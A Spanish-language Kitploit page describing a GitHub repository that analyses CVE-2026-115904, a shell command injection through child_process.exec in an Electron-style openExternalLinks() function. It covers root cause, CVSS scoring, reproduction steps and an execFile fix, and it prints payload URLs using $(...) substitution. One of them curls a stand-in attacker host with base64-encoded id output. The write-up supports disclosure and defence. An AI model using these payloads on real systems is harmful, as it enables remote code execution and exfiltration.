Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-115904 — Análisis y prueba de concepto de CVE-2026-115904, una inyección de comandos del sistema operativo en openExternalLinks() mediante child_process.exec, con análisis de la causa raíz, payloads y mitigación. | Kitploit
Herramientas/GitHubGitHub/vulnsvnc/cve-2026-115904
Análisis de VulnerabilidadesAnálisis de CódigoExplotaciónExplotación de Aplicaciones WebPapers e InvestigaciónAprendizaje y EducaciónDesarrollo de Payloads
GitHubvulnsvnc/cve-2026-115904

CVE-2026-115904

Análisis y prueba de concepto de CVE-2026-115904, una inyección de comandos del sistema operativo en openExternalLinks() mediante child_process.exec, con análisis de la causa raíz, payloads y mitigación.

Ver Repositorio
1hace 19 díasAún no revisado
Sitio web

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 El kit de herramientas OSINT definitivo: grafo de investigación, puntuación de confianza, familias de alias, mapa, línea de tiempo e informes. 49 módulos, más de 400 sitios, sin necesidad de claves API.

    1.1k
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    # Aplicación de Ejecución con un Solo Toque GhostLock (CVE-2026-43499)

    624
  • 3

    looking-glass

    anonghosty/looking-glass

    Plataforma CSIRT que ingiere informes de Shadowserver en MongoDB y los reproduce como mapas interactivos, análisis, hallazgos, avisos y paneles ejecutivos.

    412
  • 4

    jumpserver

    jumpserver/jumpserver

    JumpServer es una plataforma de gestión de accesos privilegiados (PAM) de código abierto que proporciona a los equipos de DevOps y TI acceso seguro y bajo demanda a endpoints SSH, RDP, Kubernetes, base de datos y RemoteApp a través de un navegador web.

    333
  • 5

    ARTEX

    baarai/artex

    Plataforma de pruebas de penetración autónoma multiagente basada en LLM con agentes planificadores/trabajadores, grafos de activos y de exploración, registro de tráfico MITM y reevaluación de vulnerabilidades.

    328
  • 6

    Aliens_eye

    arxhr007/aliens_eye

    Motor de OSINT impulsado por IA para descubrir y mapear más de 7.700 identidades en redes sociales en toda la web

    280

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-115904 — Inyección de comandos del SO mediante openExternalLinks() en utils.js

ID de CVECVE-2026-115904
Clase de vulnerabilidadInyección de comandos del SO (CWE-78)
Componente afectadoutils.js → openExternalLinks(url)
Plataforma afectadaLinux (rama process.platform === "linux")
Vector de ataqueLlamada a child_process.exec desencadenada mediante interacción del usuario (clic en un enlace)
Puntuación CVSS 3.19.6 (Crítica)
Vector CVSSCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H (verificado con el registro oficial de CVE)
EstadoParcheado (v2026.9.2410)
Fecha de descubrimiento23 de septiembre de 2026
Fecha de notificación al proveedor / Solicitud de CVE25 de septiembre de 2026
Fecha del parche25 de septiembre de 2026 (v2026.9.2410)
Fecha de divulgación pública28 de octubre de 2026 (fecha de publicación de CVE/GHSA)

Nota: El campo oficial dateReserved del registro de CVE aparece como 23 de octubre de 2026 — esto corresponde aproximadamente a un mes después de su fecha de solicitud del 25 de septiembre. Esta diferencia puede deberse al tiempo de procesamiento por parte del CNA (GitHub); si lo desea, puedo añadir también esta nota a la cronología.


1. Resumen

La función openExternalLinks() dentro de utils.js ejecuta el comando xdg-open con child_process.exec() para abrir una URL externa en la plataforma Linux. La función inyecta directamente el valor url proveniente del usuario/flujo de la aplicación en la línea de comandos entre comillas dobles, sin someterlo a ningún proceso de shell-safe escaping. Dado que el comando exec() se ejecuta a través de un shell (/bin/sh -c), las expresiones $(...) (command substitution) insertadas en la URL son interpretadas por el shell, lo que permite la ejecución arbitraria de comandos (RCE).

En consecuencia, cualquier flujo dentro de la aplicación que genere un enlace externo en el que el usuario pueda hacer clic o que pueda desencadenarse (por ejemplo, mensajería, vista previa de enlaces, notificaciones, cliente de correo electrónico, etc.) puede convertirse en ejecución de comandos del sistema operativo mediante una URL controlada por el atacante.

Métricas base de CVSS v3.1

MétricaValor
Attack Vector (AV)Network
Attack Complexity (AC)Low
Privileges Required (PR)None
User Interaction (UI)Required
Scope (S)Changed
Confidentiality (C)High
Integrity (I)High
Availability (A)High
Puntuación base9.6 (Crítica)

2. Código vulnerable

const openExternalLinks = (url) => {
  if (process.platform === "linux") {
    const newUrl = new URL(url);
    require("child_process").exec(`xdg-open "${newUrl}"`);
  } else {
    shell.openExternal(url).catch(err => {
      let safeUrl = url;
      try {
        const parsed = new URL(url);
        safeUrl = parsed.hostname || url.substring(0, 30) + '...';
      } catch(e) {}

      const customErr = new Error(`[openExternalLinks] Dış bağlantı açılamadı (Hedef: ${safeUrl}). Hata: ${err.message}`);
      customErr.code = err.code;
      throw customErr;
    });
  }
};

3. Análisis de causa raíz

  1. La llamada a new URL(url) solo valida si la URL es sintácticamente válida; no realiza ningún filtrado de meta-caracteres de shell.
  2. El valor de newUrl (es decir, la salida toString() del objeto URL) se incrusta directamente en un template string como xdg-open "${newUrl}" dentro del comando.
  3. child_process.exec() ejecuta el comando dado dentro de un shell (/bin/sh -c "..."). Las comillas dobles ("...") no neutralizan todos los meta-caracteres en el shell: impiden la expansión de espacios y glob (*), pero la command substitution (`cmd` ve $(cmd)) permanece activa incluso dentro de comillas dobles.
  4. Por esta razón, cuando se proporciona al parámetro url un valor que contiene command substitution, el comando entre paréntesis es ejecutado por el shell antes de que se ejecute xdg-open.

Enfoque correcto/seguro: usar child_process.execFile("xdg-open", [url]) — execFile pasa los argumentos directamente al proceso sin pasar por un shell y elimina por completo esta clase de inyección. Como alternativa, si se va a usar child_process.exec, se debe añadir un escaping estricto con una biblioteca similar a shell-quote y, además, una comprobación de allow-list en la que el esquema de la URL se limite únicamente a http(s).

4. Escenario de ataque / Impacto

  • Si la aplicación llama a esta función en cualquier flujo en el que se presente al usuario un enlace externo como "haz clic" (mensaje de chat, notificación, vista previa de enlace, etc.), el atacante puede enviar al objetivo una URL maliciosa preparada.
  • Cuando el usuario objetivo hace clic en el enlace (en el cliente de escritorio Linux), el shell ejecuta el bloque $(...) contenido en la URL antes de que se llame a xdg-open.
  • El RCE obtenido permite la ejecución arbitraria de comandos en el contexto del usuario en el que se ejecuta la aplicación (normalmente el usuario de la sesión de escritorio): exfiltración de datos, instalación de persistence (por ejemplo, ~/.bashrc, crontab, archivos de autostart), apertura de una reverse shell, etc.
  • Se requiere interacción del usuario (UI:R) (hacer clic en el enlace), por lo que, combinado con ingeniería social, constituye un riesgo crítico.

URL maliciosa de ejemplo

http://attacker.example/$(curl$IFS-s$IFSsaldirgan.com/$(id|base64))

Nota: La clase URL de WHATWG de Node codifica automáticamente en percent-encoding los caracteres como el espacio, >, <, {, } dentro de la ruta (%20, etc.), pero como $, (, ), |, ; no se codifican, la sustitución de comandos no se bloquea. En los payloads que requieren espacios se utiliza la técnica clásica de $IFS (el $IFS sin paréntesis, que es la variable separadora de palabras del shell y termina automáticamente al encontrar un carácter no identificador).

Un disparador PoC directo e inofensivo (para evidencia out-of-band):

http://x.invalid/$(id|tee$IFS/tmp/cve-2026-115904-poc.txt)

5. Pasos de reproducción (Reproduction Steps)

  1. Ejecute la aplicación que contiene el archivo vulnerable utils.js en un entorno Linux.
  2. Localice el flujo dentro de la aplicación que activa la función openExternalLinks() (por ejemplo, hacer clic en un enlace de un mensaje/notificación).
  3. Inyecte la siguiente URL de PoC en este flujo (véase poc.js):
    http://x.invalid/$(id|tee$IFS/tmp/cve-2026-115904-poc.txt)
    
  4. Verifique que al hacer clic en el enlace se crea el archivo /tmp/cve-2026-115904-poc.txt y que contiene la salida del comando id.

Salida verificada (este PoC ha sido probado en este entorno):

[+] BAŞARILI: Command injection doğrulandı!
[+] /tmp/cve-2026-115904-poc.txt içeriği:
uid=0(root) gid=0(root) groups=0(root)

El hecho de que xdg-open en sí mismo falle (porque no se encuentra el navegador/handler) no es importante — la sustitución de comandos ya se activa antes de que se llame a xdg-open, al analizar la línea de comandos del shell. 5. Una vez verificada la ejecución del comando, opcionalmente también se puede demostrar la exfiltración de datos out-of-band con un listener controlado (por ejemplo, una petición a su propio servidor con curl).

6. PoC

Véase poc.js — ejecutando una copia aislada y controlada de la función vulnerable, demuestra la inyección de forma segura en un entorno local (solo con comandos inofensivos como id/touch, sin realizar peticiones externas).

7. Mitigación / Propuesta de corrección

const { execFile } = require("child_process");
Descargar herramienta